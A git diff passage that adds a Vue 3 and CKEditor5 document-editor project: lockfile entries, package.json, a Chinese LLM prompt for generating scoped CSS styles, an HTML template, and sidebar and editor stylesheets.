"sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/webpack-dev-server": { + "version": "4.15.2", + "resolved": "https://registry.npmmirror.com/webpack-dev-server/-/webpack-dev-server-4.15.2.tgz", + "integrity": "sha512-0XavAZbNJ5sDrCbkpWL8mia0o5WPOd2YGtxrEiZkBK9FjLppIUK2TgxK6qGD2P3hUXTJNNPVibrerKcx5WkR1g==", + "dev": true, + "dependencies": { + "@types/bonjour": "^3.5.9", + "@types/connect-history-api-fallback": "^1.3.5", + "@types/express": "^4.17.13", + "@types/serve-index": "^1.9.1", + "@types/serve-static": "^1.13.10", + "@types/sockjs": "^0.3.33", + "@types/ws": "^8.5.5", + "ansi-html-community": "^0.0.8", + "bonjour-service": "^1.0.11", + "chokidar": "^3.5.3", + "colorette": "^2.0.10", + "compression": "^1.7.4", + "connect-history-api-fallback": "^2.0.0", + "default-gateway": "^6.0.3", + "express": "^4.17.3", + "graceful-fs": "^4.2.6", + "html-entities": "^2.3.2", + "http-proxy-middleware": "^2.0.3", + "ipaddr.js": "^2.0.1", + "launch-editor": "^2.6.0", + "open": "^8.0.9", + "p-retry": "^4.5.0", + "rimraf": "^3.0.2", + "schema-utils": "^4.0.0", + "selfsigned": "^2.1.1", + "serve-index": "^1.9.1", + "sockjs": "^0.3.24", + "spdy": "^4.0.2", + "webpack-dev-middleware": "^5.3.4", + "ws": "^8.13.0" + }, + "bin": { + "webpack-dev-server": "bin/webpack-dev-server.js" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^4.37.0 || ^5.0.0" + }, + "peerDependenciesMeta": { + "webpack": { + "optional": true + }, + "webpack-cli": { + "optional": true + } + } + }, + "node_modules/webpack-dev-server/node_modules/ajv": { + "version": "8.17.1", + "resolved": "https://registry.npmmirror.com/ajv/-/ajv-8.17.1.tgz", + "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/webpack-dev-server/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/webpack-dev-server/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true + }, + "node_modules/webpack-dev-server/node_modules/schema-utils": { + "version": "4.2.0", + "resolved": "https://registry.npmmirror.com/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/webpack-dev-server/node_modules/ws": { + "version": "8.18.0", + "resolved": "https://registry.npmmirror.com/ws/-/ws-8.18.0.tgz", + "integrity": "sha512-8VbfWfHLbbwu3+N6OKsOMpBdT4kXPDDB9cJk2bJ6mh9ucxdlnNvH1e+roYkKmN9Nxw2yjz7VzeO9oOz2zJ04Pw==", + "dev": true, + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/webpack-merge": { + "version": "5.10.0", + "resolved": "https://registry.npmmirror.com/webpack-merge/-/webpack-merge-5.10.0.tgz", + "integrity": "sha512-+4zXKdx7UnO+1jaN4l2lHVD+mFvnlZQP/6ljaJVb4SZiwIKeUnrT5l0gkT8z+n4hKpC+jpOv6O9R+gLtag7pSA==", + "dev": true, + "dependencies": { + "clone-deep": "^4.0.1", + "flat": "^5.0.2", + "wildcard": "^2.0.0" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/webpack-sources": { + "version": "3.2.3", + "resolved": "https://registry.npmmirror.com/webpack-sources/-/webpack-sources-3.2.3.tgz", + "integrity": "sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w==", + "dev": true, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/webpack-virtual-modules": { + "version": "0.4.6", + "resolved": "https://registry.npmmirror.com/webpack-virtual-modules/-/webpack-virtual-modules-0.4.6.tgz", + "integrity": "sha512-5tyDlKLqPfMqjT3Q9TAqf2YqjwmnUleZwzJi1A5qXnlBCdj2AtOJ6wAWdglTIDOPgOiOrXeBeFcsQ8+aGQ6QbA==", + "dev": true + }, + "node_modules/webpack/node_modules/schema-utils": { + "version": "3.3.0", + "resolved": "https://registry.npmmirror.com/schema-utils/-/schema-utils-3.3.0.tgz", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/websocket-driver": { + "version": "0.7.4", + "resolved": "https://registry.npmmirror.com/websocket-driver/-/websocket-driver-0.7.4.tgz", + "integrity": "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==", + "dev": true, + "dependencies": { + "http-parser-js": ">=0.5.1", + "safe-buffer": ">=5.1.0", + "websocket-extensions": ">=0.1.1" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/websocket-extensions": { + "version": "0.1.4", + "resolved": "https://registry.npmmirror.com/websocket-extensions/-/websocket-extensions-0.1.4.tgz", + "integrity": "sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg==", + "dev": true, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/whatwg-fetch": { + "version": "3.6.20", + "resolved": "https://registry.npmmirror.com/whatwg-fetch/-/whatwg-fetch-3.6.20.tgz", + "integrity": "sha512-EqhiFU6daOA8kpjOWTL0olhVOF3i7OrFzSYiGsEMB8GcXS+RrzauAERX65xMeNWVqxA6HXH2m69Z9LaKKdisfg==", + "dev": true + }, + "node_modules/whatwg-url": { + "version": "5.0.0", + "resolved": "https://registry.npmmirror.com/whatwg-url/-/whatwg-url-5.0.0.tgz", + "integrity": "sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==", + "dev": true, + "dependencies": { + "tr46": "~0.0.3", + "webidl-conversions": "^3.0.0" + } + }, + "node_modules/which": { + "version": "1.3.1", + "resolved": "https://registry.npmmirror.com/which/-/which-1.3.1.tgz", + "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", + "dev": true, + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "which": "bin/which" + } + }, + "node_modules/wildcard": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/wildcard/-/wildcard-2.0.1.tgz", + "integrity": "sha512-CC1bOL87PIWSBhDcTrdeLo6eGT7mCFtrg0uIJtqJUFyK+eJnzl8A1niH56uu7KMa5XFrtiV+AQuHO3n7DsHnLQ==", + "dev": true + }, + "node_modules/word-wrap": { + "version": "1.2.5", + "resolved": "https://registry.npmmirror.com/word-wrap/-/word-wrap-1.2.5.tgz", + "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmmirror.com/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "dev": true + }, + "node_modules/ws": { + "version": "7.5.10", + "resolved": "https://registry.npmmirror.com/ws/-/ws-7.5.10.tgz", + "integrity": "sha512-+dbF1tHwZpXcbOJdVOkzLDxZP1ailvSxM6ZweXTegylPny803bFhA+vqBYw4s31NSAk4S2Qz+AKXK9a4wkdjcQ==", + "dev": true, + "engines": { + "node": ">=8.3.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": "^5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmmirror.com/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmmirror.com/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", + "dev": true + }, + "node_modules/yaml": { + "version": "1.10.2", + "resolved": "https://registry.npmmirror.com/yaml/-/yaml-1.10.2.tgz", + "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==", + "dev": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/yargs": { + "version": "16.2.0", + "resolved": "https://registry.npmmirror.com/yargs/-/yargs-16.2.0.tgz", + "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", + "dev": true, + "dependencies": { + "cliui": "^7.0.2", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.0", + "y18n": "^5.0.5", + "yargs-parser": "^20.2.2" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/yargs-parser": { + "version": "20.2.9", + "resolved": "https://registry.npmmirror.com/yargs-parser/-/yargs-parser-20.2.9.tgz", + "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/yorkie": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/yorkie/-/yorkie-2.0.0.tgz", + "integrity": "sha512-jcKpkthap6x63MB4TxwCyuIGkV0oYP/YRyuQU5UO0Yz/E/ZAu+653/uov+phdmO54n6BcvFRyyt0RRrWdN2mpw==", + "dev": true, + "hasInstallScript": true, + "dependencies": { + "execa": "^0.8.0", + "is-ci": "^1.0.10", + "normalize-path": "^1.0.0", + "strip-indent": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/yorkie/node_modules/cross-spawn": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/cross-spawn/-/cross-spawn-5.1.0.tgz", + "integrity": "sha512-pTgQJ5KC0d2hcY8eyL1IzlBPYjTkyH72XRZPnLyKus2mBfNjQs3klqbJU2VILqZryAZUt9JOb3h/mWMy23/f5A==", + "dev": true, + "dependencies": { + "lru-cache": "^4.0.1", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + } + }, + "node_modules/yorkie/node_modules/execa": { + "version": "0.8.0", + "resolved": "https://registry.npmmirror.com/execa/-/execa-0.8.0.tgz", + "integrity": "sha512-zDWS+Rb1E8BlqqhALSt9kUhss8Qq4nN3iof3gsOdyINksElaPyNBtKUMTR62qhvgVWR0CqCX7sdnKe4MnUbFEA==", + "dev": true, + "dependencies": { + "cross-spawn": "^5.0.1", + "get-stream": "^3.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/yorkie/node_modules/get-stream": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/get-stream/-/get-stream-3.0.0.tgz", + "integrity": "sha512-GlhdIUuVakc8SJ6kK0zAFbiGzRFzNnY4jUuEbV9UROo4Y+0Ny4fjvcZFVTeDA4odpFyOQzaw6hXukJSq/f28sQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/yorkie/node_modules/lru-cache": { + "version": "4.1.5", + "resolved": "https://registry.npmmirror.com/lru-cache/-/lru-cache-4.1.5.tgz", + "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==", + "dev": true, + "dependencies": { + "pseudomap": "^1.0.2", + "yallist": "^2.1.2" + } + }, + "node_modules/yorkie/node_modules/normalize-path": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/normalize-path/-/normalize-path-1.0.0.tgz", + "integrity": "sha512-7WyT0w8jhpDStXRq5836AMmihQwq2nrUVQrgjvUo/p/NZf9uy/MeJ246lBJVmWuYXMlJuG9BNZHF0hWjfTbQUA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/yorkie/node_modules/yallist": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/yallist/-/yallist-2.1.2.tgz", + "integrity": "sha512-ncTzHV7NvsQZkYe1DW7cbDLm0YpzHmZF5r/iyP3ZnQtMiJ+pjzisCiMNI+Sj+xQF5pXhSHxSB3uDbsBTzY/c2A==", + "dev": true + } + } +} diff --git a/ckeditor5/package.json b/ckeditor5/package.json new file mode 100644 index 0000000..e7ffa2b --- /dev/null +++ b/ckeditor5/package.json @@ -0,0 +1,48 @@ +{ + "name": "myproject", + "version": "0.1.0", + "private": true, + "scripts": { + "serve": "vue-cli-service serve", + "build": "vue-cli-service build", + "lint": "vue-cli-service lint" + }, + "dependencies": { + "@ckeditor/ckeditor5-vue": "^7.2.0", + "ckeditor5": "^43.2.0", + "core-js": "^3.8.3", + "element-plus": "^2.8.7", + "file-saver": "^2.0.5", + "html-docx-js-typescript": "^0.1.5", + "vue": "^3.2.13" + }, + "devDependencies": { + "@babel/core": "^7.12.16", + "@babel/eslint-parser": "^7.12.16", + "@vue/cli-plugin-babel": "~5.0.0", + "@vue/cli-plugin-eslint": "~5.0.0", + "@vue/cli-service": "~5.0.0", + "babel-plugin-import": "^1.13.8", + "eslint": "^7.32.0", + "eslint-plugin-vue": "^8.0.3", + "unplugin-auto-import": "^0.16.1", + "unplugin-vue-components": "^0.25.0" + }, + "eslintConfig": { + "root": true, + "env": { + "node": true + }, + "extends": [ + "plugin:vue/vue3-essential", + "eslint:recommended" + ], + "rules": {} + }, + "browserslist": [ + "> 1%", + "last 2 versions", + "not dead", + "not ie 11" + ] +} diff --git a/ckeditor5/prompt_generate_style.md b/ckeditor5/prompt_generate_style.md new file mode 100644 index 0000000..0d198a3 --- /dev/null +++ b/ckeditor5/prompt_generate_style.md @@ -0,0 +1,90 @@ +### 角色 +你是一个设计和 CSS 专家,能够根据用户需求生成精确的 CSS 样式。 如果用户提出与生成CSS样式无关的问题,请回答“对不起,我无法回答该问题” +### 任务 +为以下元素生成 CSS 样式类: +标题:(i为标题级别,如 h1, h2 等) +文本块:

+块引用:

+行文本: +代码块:
+所有样式都需在 .ck-content 中定义,格式为:
+``` css
+.ck-content element.className { ... }
+```
+### 输出
+仅输出你编写的 CSS 内容,不要对其进行解释和输出其他内容。!important
+### 示例
+生成一个文本块样式,生成的样式如下所示。 
+``` css
+.ck-content p.info-box { 
+    --background-size: 30px; 
+    --background-color: #e91e63; 
+    padding: 1.2em 2em; 
+    border: 1px solid var(--background-color); 
+    background: linear-gradient(135deg, var(--background-color) 0%, var(--background-color) var(--background-size), transparent var(--background-size)), linear-gradient(135deg, transparent calc(100% - var(--background-size)), var(--background-color) calc(100% - var(--background-size)), var(--background-color)); 
+    border-radius: 10px; 
+    margin: 1.5em 2em; 
+    box-shadow: 5px 5px 0 #ffe6ef; 
+}
+```
+生成一个代码框样式,生成的样式如下所示:
+```css
+.ck-content pre.fancy-code {
+	border: 0;
+	margin-left: 2em;
+	margin-right: 2em;
+	border-radius: 10px;
+}
+
+.ck-content pre.fancy-code::before {
+	content: '';
+	display: block;
+	height: 13px;
+	background: url(data:image/svg+xml;base64,PHN2ZyBmaWxsPSJub25lIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA1NCAxMyI+CiAgPGNpcmNsZSBjeD0iNi41IiBjeT0iNi41IiByPSI2LjUiIGZpbGw9IiNGMzZCNUMiLz4KICA8Y2lyY2xlIGN4PSIyNi41IiBjeT0iNi41IiByPSI2LjUiIGZpbGw9IiNGOUJFNEQiLz4KICA8Y2lyY2xlIGN4PSI0Ny41IiBjeT0iNi41IiByPSI2LjUiIGZpbGw9IiM1NkM0NTMiLz4KPC9zdmc+Cg==);
+	margin-bottom: 8px;
+	background-repeat: no-repeat;
+}
+
+.ck-content pre.fancy-code-dark {
+	background: #272822;
+	color: #fff;
+	box-shadow: 5px 5px 0 #0000001f;
+}
+```
+生成一个块引用样式,生成的样式如下所示
+```css
+.ck-content blockquote.side-quote {
+	font-family: 'Oswald';
+	font-style: normal;
+	float: right;
+	width: 35%;
+	position: relative;
+	border: 0;
+	overflow: visible;
+	z-index: 1;
+	margin-left: 1em;
+}
+
+.ck-content blockquote.side-quote::before {
+	content: '“';
+	position: absolute;
+	top: -37px;
+	left: -10px;
+	display: block;
+	font-size: 200px;
+	color: #e7e7e7;
+	z-index: -1;
+	line-height: 1;
+}
+
+.ck-content blockquote.side-quote p {
+	font-size: 2em;
+	line-height: 1;
+}
+
+.ck-content blockquote.side-quote p:last-child:not(:first-child) {
+	font-size: 1.3em;
+	text-align: right;
+	color: #555;
+}
+```
diff --git a/ckeditor5/public/favicon.ico b/ckeditor5/public/favicon.ico
new file mode 100644
index 0000000..df36fcf
Binary files /dev/null and b/ckeditor5/public/favicon.ico differ
diff --git a/ckeditor5/public/index.html b/ckeditor5/public/index.html
new file mode 100644
index 0000000..3e5a139
--- /dev/null
+++ b/ckeditor5/public/index.html
@@ -0,0 +1,17 @@
+
+
+  
+    
+    
+    
+    
+    <%= htmlWebpackPlugin.options.title %>
+  
+  
+    
+    
+ + + diff --git a/ckeditor5/public/sidebar.css b/ckeditor5/public/sidebar.css new file mode 100644 index 0000000..5e083fe --- /dev/null +++ b/ckeditor5/public/sidebar.css @@ -0,0 +1,127 @@ +/*侧边栏样式*/ +.sidebar { + position: fixed; + top: 0; + left: 0; + width: 350px; + height: 100%; + overflow-y: hidden; + transition: transform 0.3s ease; + transform: translateX(-100%); + background-color: #f9f9f9; + padding-left: 8px; + /* 调整内边距,使文字右移 */ + padding-right: 8px; + /* 调整内边距,使文字右移 */ + z-index: 9; + border-right: 5px solid #aec7e5; + resize: horizontal; + overflow: auto; +} + +.sidebar.active { + transform: translateX(0); +} + +.sidebar-menu { + flex-direction: row; + justify-content: space-between; + /* background-color: rgb(182, 229, 244); */ + border-radius: 19px; + /* 添加圆角 */ + display: flex; +} + +.sidebar-menu .el-sub-menu { + display: flex; + flex-direction: column; +} + +.sidebar-menu .el-menu-item { + flex: 1; + text-align: left; + background-color: #9cd6ce; + border-radius: 8px; + /* 添加圆角 */ + margin: 2px 0; + /* 添加间距 */ +} + +.sidebar-menu .el-menu-item span { + display: block; + padding: 10px; + background-color: #ffffff; + border-radius: 4px; +} + +.sidebar-menu .el-menu-item span:hover { + background-color: #e0e0e0; +} + +.preview { + margin-top: 20px; + /* 调整预览区与表单之间的距离 */ + border: 1px solid #ccc; + /* 添加边框 */ + padding: 10px; + /* 添加内边距 */ + border-radius: 4px; + /* 添加圆角 */ +} + +.form-item { + margin-bottom: 1px; + /* 减小表单项之间的距离 */ +} + +.chat-container { + display: flex; + flex-direction: column; + height: 90vh; + justify-content: space-between; +} + +.messages { + flex: 1; + overflow-y: auto; + margin-bottom: 10px; +} + +.message pre { + white-space: pre-wrap; + /* 保留空白符,但允许自动换行 */ + word-wrap: break-word; + /* 允许长单词换行 */ +} + +.input-area { + display: flex; +} + +.input-area input { + flex: 1; + padding: 10px; + border: 1px solid #ccc; + border-radius: 4px; +} + +.input-area button { + padding: 10px 15px; + background-color: #2980b9; + color: white; + border: none; + border-radius: 4px; + cursor: pointer; + margin-left: 5px; +} + +.input-area button:hover { + background-color: #3498db; +} + +.message { + margin: 5px 0; + padding: 10px; + border-radius: 4px; + background-color: #ecf0f1; +} \ No newline at end of file diff --git a/ckeditor5/public/style.css b/ckeditor5/public/style.css new file mode 100644 index 0000000..c14ed8f --- /dev/null +++ b/ckeditor5/public/style.css @@ -0,0 +1,281 @@ +@import url('https://fonts.googleapis.com/css2?family=Oswald&family=PT+Serif:ital,wght@0,400;0,700;1,400&display=swap'); +@import url('https://fonts.googleapis.com/css2?family=Lato:ital,wght@0,400;0,700;1,400;1,700&display=swap'); + +@media print { + body { + margin: 0 !important; + } +} + +.main-container { + --ckeditor5-preview-height: 650px; + position: relative; + font-family: '宋体'; + width: fit-content; + height: 100%; + margin-left: auto; + margin-right: auto; +} + +.ck-content { + font-family: '宋体'; + font-size: 16px; + line-height: 1.6; + word-break: break-word; +} + +.editor-container__editor-wrapper { + display: flex; + width: fit-content; +} + +.editor-container_document-editor { + border: 1px solid var(--ck-color-base-border); +} + +.editor-container_document-editor .editor-container__toolbar { + display: flex; + position: relative; + box-shadow: 0 2px 3px hsla(0, 0%, 0%, 0.078); +} + +.editor-container_document-editor .editor-container__toolbar>.ck.ck-toolbar { + flex-grow: 1; + width: 0; + border-bottom-right-radius: 0; + border-bottom-left-radius: 0; + border-top: 0; + border-left: 0; + border-right: 0; +} + +.editor-container_document-editor .editor-container__menu-bar>.ck.ck-menu-bar { + border-bottom-right-radius: 0; + border-bottom-left-radius: 0; + border-top: 0; + border-left: 0; + border-right: 0; +} + +.editor-container_document-editor .editor-container__editor-wrapper { + max-height: var(--ckeditor5-preview-height); + min-height: var(--ckeditor5-preview-height); + overflow-y: scroll; + background: var(--ck-color-base-foreground); +} + +.editor-container_document-editor .editor-container__editor { + margin-top: 28px; + margin-bottom: 28px; + height: 100%; +} + +.editor-container_document-editor .editor-container__editor .ck.ck-editor__editable { + box-sizing: border-box; + min-width: calc(210mm + 2px); + max-width: calc(210mm + 2px); + min-height: 297mm; + height: fit-content; + padding: 20mm 12mm; + border: 1px hsl(0, 0%, 82.7%) solid; + background: hsl(0, 0%, 100%); + box-shadow: 0 2px 3px hsla(0, 0%, 0%, 0.078); + flex: 1 1 auto; + margin-left: 72px; + margin-right: 72px; +} + +/*侧边栏出现时其他右移*/ +.main-container.sidebar-open .editor-container__menu-bar, +.main-container.sidebar-open .editor-container__toolbar, +.main-container.sidebar-open .editor-container__editor-wrapper { + transition: margin-left 0.3s ease; + margin-left: 350px; +} + +/*用户定义的style插件样式*/ +.ck-content h3.category { + font-family: 'Oswald'; + font-size: 20px; + font-weight: bold; + color: #555; + letter-spacing: 10px; + margin: 0; + padding: 0; +} + +.ck-content h2.document-title { + font-family: 'Oswald'; + font-size: 50px; + font-weight: bold; + margin: 0; + padding: 0; + border: 0; +} + +.ck-content h3.document-subtitle { + font-family: 'Oswald'; + font-size: 20px; + color: #555; + margin: 0 0 1em; + font-weight: bold; + padding: 0; +} + +.ck-content p.info-box { + --background-size: 30px; + --background-color: #e91e63; + padding: 1.2em 2em; + border: 1px solid var(--background-color); + background: linear-gradient(135deg, + var(--background-color) 0%, + var(--background-color) var(--background-size), + transparent var(--background-size)), + linear-gradient(135deg, + transparent calc(100% - var(--background-size)), + var(--background-color) calc(100% - var(--background-size)), + var(--background-color)); + border-radius: 10px; + margin: 1.5em 2em; + box-shadow: 5px 5px 0 #ffe6ef; +} + +.ck-content blockquote.side-quote { + font-family: 'Oswald'; + font-style: normal; + float: right; + width: 35%; + position: relative; + border: 0; + overflow: visible; + z-index: 1; + margin-left: 1em; +} + +.ck-content blockquote.side-quote::before { + content: '“'; + position: absolute; + top: -37px; + left: -10px; + display: block; + font-size: 200px; + color: #e7e7e7; + z-index: -1; + line-height: 1; +} + +.ck-content blockquote.side-quote p { + font-size: 2em; + line-height: 1; +} + +.ck-content blockquote.side-quote p:last-child:not(:first-child) { + font-size: 1.3em; + text-align: right; + color: #555; +} + +.ck-content span.marker { + background: yellow; +} + +.ck-content span.spoiler { + background: #000; + color: #000; +} + +.ck-content span.spoiler:hover { + background: #000; + color: #fff; +} + +.ck-content pre.fancy-code { + border: 0; + margin-left: 2em; + margin-right: 2em; + border-radius: 10px; +} + +.ck-content pre.fancy-code::before { + content: ''; + display: block; + height: 13px; + background: url(data:image/svg+xml;base64,PHN2ZyBmaWxsPSJub25lIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA1NCAxMyI+CiAgPGNpcmNsZSBjeD0iNi41IiBjeT0iNi41IiByPSI2LjUiIGZpbGw9IiNGMzZCNUMiLz4KICA8Y2lyY2xlIGN4PSIyNi41IiBjeT0iNi41IiByPSI2LjUiIGZpbGw9IiNGOUJFNEQiLz4KICA8Y2lyY2xlIGN4PSI0Ny41IiBjeT0iNi41IiByPSI2LjUiIGZpbGw9IiM1NkM0NTMiLz4KPC9zdmc+Cg==); + margin-bottom: 8px; + background-repeat: no-repeat; +} + +.ck-content pre.fancy-code-dark { + background: #272822; + color: #fff; + box-shadow: 5px 5px 0 #0000001f; +} + +.ck-content pre.fancy-code-bright { + background: #dddfe0; + color: #000; + box-shadow: 5px 5px 0 #b3b3b3; +} + +.ck-content p.gradientborder { + --borderWidth: 12px; + --bRadius: 5px; + width: 60%; + height: 60%; + position: relative; + z-index: 0; + overflow: hidden; + padding: 2rem; + z-index: 0; + border-radius: --bRadius; + + &::after, + &::before { + box-sizing: border-box; + } + + &::before { + content: ''; + position: absolute; + left: -50%; + top: -50%; + width: 200%; + height: 200%; + z-index: -2; + background-repeat: no-repeat; + background-size: 50% 50%, 50% 50%; + background-position: 0 0, 100% 0, 100% 100%, 0 100%; + background-image: linear-gradient(#399953, #399953), linear-gradient(#fbb300, #fbb300), linear-gradient(#d53e33, #d53e33), linear-gradient(#377af5, #377af5); + animation: rotate 4s linear infinite; + + @keyframes rotate { + 100% { + transform: rotate(1turn); + } + } + } + + &::after { + content: ''; + position: absolute; + z-index: -1; + left: calc(var(--borderWidth) / 2); + top: calc(var(--borderWidth) / 2); + width: calc(100% - var(--borderWidth)); + height: calc(100% - var(--borderWidth)); + background: white; + border-radius: --bRadius; + /* 这一行是为了方便查看原来的样子的 */ + animation: opacityChange 3s infinite alternate; + } + + @keyframes opacityChange { + 50% { + opacity: 1; + } + + 100% { + opacity: .5; + } + } +} \ No newline at end of file 